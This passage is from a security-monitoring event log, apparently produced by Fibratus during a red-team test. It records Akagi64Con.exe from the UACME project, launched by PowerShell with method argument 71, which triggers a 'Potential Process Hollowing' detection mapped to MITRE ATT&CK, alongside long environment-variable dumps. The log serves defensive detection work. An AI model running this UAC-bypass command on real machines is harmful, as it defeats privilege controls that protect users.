JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 7199284 + Pid: 6812 + Tid: 14228 + Type: UnmapViewFile + CPU: 2 + Name: UnmapViewFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.1441136 +0100 CET + Params: file_key➜ ffffd605a6d1e180, file_path➜ , offset➜ 0, pid➜ 6812, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 1b0dc960000, view_size➜ 434176 + Metadata: technique.name: Process Injection, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, rule.seq.link: 6601995826782797824, rule.name: Potential Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, tactic.id: TA0005, technique.id: T1055 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 7199380 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.1642137 +0100 CET + Params: base_address➜ 7ff9fa800000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2024-11-14 19:20:09 +0000 UTC, cert_not_before➜ 2023-11-16 19:20:09 +0000 UTC, cert_serial➜ 3300000460cf42a912315f6fb3000000000460, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 0, default_address➜ 7ff9fa800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, tactic.id: TA0005, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, rule.seq.link: 6601995826782797824, subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program 